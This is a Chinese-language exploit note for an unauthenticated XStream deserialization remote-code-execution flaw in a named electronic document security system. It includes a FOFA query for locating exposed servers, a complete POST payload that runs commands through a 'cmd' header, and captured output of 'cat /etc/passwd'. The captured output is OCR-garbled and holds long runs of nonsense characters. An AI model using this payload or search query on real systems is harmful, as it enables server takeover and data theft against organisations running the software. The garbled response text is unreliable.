Y5-35亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload

POST /CDGServer3/PrintAuditService?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

效果图: Request 美化 渲染 请输入定位响应 1328bytes / 105ms HTTP/1.1-200 POST: /CDGServer3/PrintAuditService?command=GETSYSTEMINFO: HTTP/1.1 Host: 8443 User-Agent: Mozilla/5.0 (Windows NT · 6.4; WOW64) · AppleWebKit/537.36 · (KHTML, · like · Gecko) · Chrome/41.0. Set-Cookie: JSESSIONID=E68EC395FCE55225 HttpOnly Content-Type: text/html; charset=utf-8 ie: JSESSIONID=E68EC395FCE552252985CAC5888C14A5; Path=/CDGServe 2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml Date: Fri, 02 Feb: 2024 11:55:11 GMT Connection: close Content-Length: 1328 cmd: cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin NNLINELBIIKEGOPFIELNMHIPNNOHFHECLEHKBCIHIFHCMONPOPHOHMONIDOINLEBHFCITNNOHDAGABKCKIMENBOIBOPHN ETPJAOGBILDKUNLIGAENLBAFBFFFELKLGESHBHMNKOIBHMFLIODCCEHKDYCEDHPHLONDOENCPIGOPHOMOPMOEDINKFDCHHEF MFGBDDIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDOMOPHCNGLPPOMMIGCEFEBIMDHFA GLHIDHPJCHAEHFPHNHJGKIJOCINLAHOAPCODJHIBABOKBFABJMFIEMLLPGGKHNNHFCADBHCDEHCBFOFGBBPLKPHLLNOCJAKJDJOPOE PBEKKPHOPBBHFLJINGGLABITHBOFFCPCLPAGLCEANCHAGIJFAEFONIOLSKHHMFBOJJAOFJKSHFMNMBEECKFCCHKFPPFKEGOIOB HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPHHFPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown JAMIFRIGALCOFLPDACODAL CHKBOEBPARCKICKINJJJJANAFREGOTIALTODAJAHAEDLBNONDJAPFELTJAMLJHAHBBEGGHELCDBFHIFALD ITMBFEGHNHBOIONLCJKCPHJPMDLPHDOCFJANKKOMEINHTDLEGMOCNAFDAMOMPPIFFBPFCHAPPIDDATAILKODLCALBBJAPPGIPKIED LEOWKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHHKKNDHLCGIMWNKHBJDGIDJAWGEGEGJNJDANKFDHEAHLILDKIFB GKGEJCMGOFEKGJENNAFLDGEEDBKOHADBAMHBHDJOGIFPMOKITLIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games://usr/games:/sbin/nologin ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin GREFLINKLI_ETHONFOJALEJJLPPFMAEHBHOEBOIDL.CMCIKAFEBEFEBGJEECDEINCPINKTENONIJPBJCCHCHOJAHHDKDKEGJGGGJDJ IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGECK/MHOFNBLLAALGMKNJONNGIDJLBFECJNLKHMBCKELDP BDMBFEHAKBHEMNDFBBEDCANMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPFFLFBOHHNIBEGOOFEFGAENOKBMPC systemd-network:x:192:192:systemd.Network-Management:/:/sbin/nologin BDELFJPANTICDPGANJALHERMPHAJLNECAEGOGGBOIDLJENNEEDHADEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPDAAPGMICEMHLIN DHBGAJJPKNLIBOAABJLNADADNALIKHDJNDKGOPELEHGPOGNJHAAJKICHBFGHHCLEFPHCCKNFKPEOMHPLHOHBGDHCOGFIGPHIGLAH KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCHDPNNLACKHOGJAEMBJPFEBOYBGGAFGGNCOBEAIPA NPLIBGDCCNNONDNOTPOECCPELCEDFGCNJHEIDIFPJDKIFNJGHAHLHFNJCIJIHELMONJIEGNWBNWWBEGICDODPOPAJOWBNKSDBG dbus:x:81:81:System message bus://sbin/nologin polkitd:x:999:998:User-for-polkitd://sbin/nologin libstoragemgmt:x:998:997:daemon-account-for-libstoragemgmt:/var/run/lsm abrt:x:173:173::/etc/abrt:/sbin/nologin rpc:x:32:32:Robind-Daemon:/var/lib/rpcbind:/sbin/nologin KKMLKCBBPF00JCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABERANDER (CONTRACTOR CONTRACTOR CONTRACTOR